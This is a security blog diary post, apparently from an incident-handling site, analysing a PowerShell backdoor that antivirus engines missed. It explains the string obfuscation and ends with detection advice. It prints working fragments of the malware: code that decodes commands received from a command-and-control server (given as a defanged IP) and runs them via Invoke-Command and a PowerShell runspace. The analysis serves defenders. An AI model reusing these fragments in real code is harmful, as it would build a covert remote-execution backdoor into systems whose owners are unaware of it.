Simple but Undetected PowerShell Backdoor

Published: 2021-12-15
Last Updated: 2021-12-15 08:47:12 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

For a while, most security people agree on the fact that antivirus products are not enough for effective protection against malicious code. If they can block many threats, some of them remain undetected by classic technologies. Here is another example with a simple but effective PowerShell backdoor that I spotted yesterday. The file has been uploaded on VT (SHA256:4cd82b6cbd3e20fc8a9a0aa630d2a866d32cfb60e76b032191fda5d48720a64d) and received a score of ... 0/57! [1].

The script is pretty well obfuscated and hides a simple backdoor. The technique is string pollution with garbage characters that are removed with a split() to create an array and refer to specific elements:

PS C:\Users\REM> (("103AN449AN24AN445AN72AN796AN976AN159AN40AN26" -split "AN")[4])

The C2 server return JSON data that I parsed to extract the code to execute through Invoke-Expression:

function ConvertFrom-JSON20([object] $item){
  add-type -assembly system.web.extensions;
  $ps_js=new-object system.web.script.serialization.javascriptSerializer;
  $ps_js.MaxJsonLength = 99999999
  return ,$ps_js.DeserializeObject($item);
$res = xor $res $cmp
$res = $enc.GetString($res);
$res = ConvertFrom-JSON20($res);
$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($res.script));
$script = [Scriptblock]::Create($script);
Invoke-Command -ScriptBlock $script -ArgumentList $res.args;

All communications are XOR'd (there is a xor() function to perform a multi-byte encoding).

The session with the C2 server (hxxp://45[.]77[.]127[.]230:8888)[2] is established and maintained based on the infected system UUID:

$UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid;
$xorkey = $enc.GetBytes($cmp)
$data = xor $enc.GetBytes($UUID) $xorkey;

Finally, the backdoor is launched in a PowerShell RunSpace:

$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = "STA"
$rs.ThreadOptions = "ReuseThread"          

$ps = [PowerShell]::Create()
$ps.Runspace = $rs
$ps.AddScript($script) | out-null
$ps.AddArgument($srv) | out-null
$ps.AddArgument($cmp) | out-null
$res = $ps.BeginInvoke()

Based on the script code, even if it's not flagged as malicious by regular AV engines, it's pretty easy to spot the malicious activity via an EDR tool or Microsoft Sysmon: PowerShell should not:

  • perform HTTP connections on non-standard ports
  • connect to IP addresses
  • perform HTTP connection outside of the perimeter or to host not listed in an allowlist.


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)


Diary Archives